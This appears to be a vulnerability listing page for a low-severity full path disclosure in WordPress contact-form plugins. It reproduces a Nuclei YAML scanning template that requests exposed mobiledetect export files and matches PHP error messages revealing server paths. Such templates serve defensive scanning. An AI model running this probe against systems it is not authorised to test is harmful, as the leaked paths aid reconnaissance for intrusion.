wp-contact-form-fpd: WordPress Contact Form - Full Path Disclosure

2026-01-08 WordPress Contact Form PoC Public

Description

WordPress Contact Form plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.

PoC

id: wp-contact-form-fpd

info:
  name: WordPress Contact Form - Full Path Disclosure
  author: pussycat0x
  severity: low
  description: |
    WordPress Contact Form plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.
  metadata:
    max-request: 2
    verified: false
    publicwww-query: "/plugins/flamix-bitrix24-and-contact-forms-7-integrations/"
  tags: wordpress,fpd,contact-form,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/flamix-bitrix24-and-contact-forms-7-integrations/includes/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php"
      - "{{BaseURL}}/wp-content/plugins/cf7-salesforce/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php"
      - "{{BaseURL}}/concrete/vendor/mobiledetect/mobiledetectlib/export/exportToJSON.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains_any(body, "plugins/flamix-bitrix24","plugins/cf7-salesforce","mobiledetect/mobiledetectlib")'
          - 'contains_any(body, "Fatal error", "Uncaught Error:","Done. Check")'
        condition: and
# digest: 4a0a00473045022016c72e51a884e2d99f139f9f632a965dd1c3424720b7bf8c5d01eab2a9003566022100d9e97159fc538d7eaa8c5683dd8f0e5b409edfb120683fca907395c5c7378218:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wp-contact-form-fpd.yaml

References

Related Vulnerabilities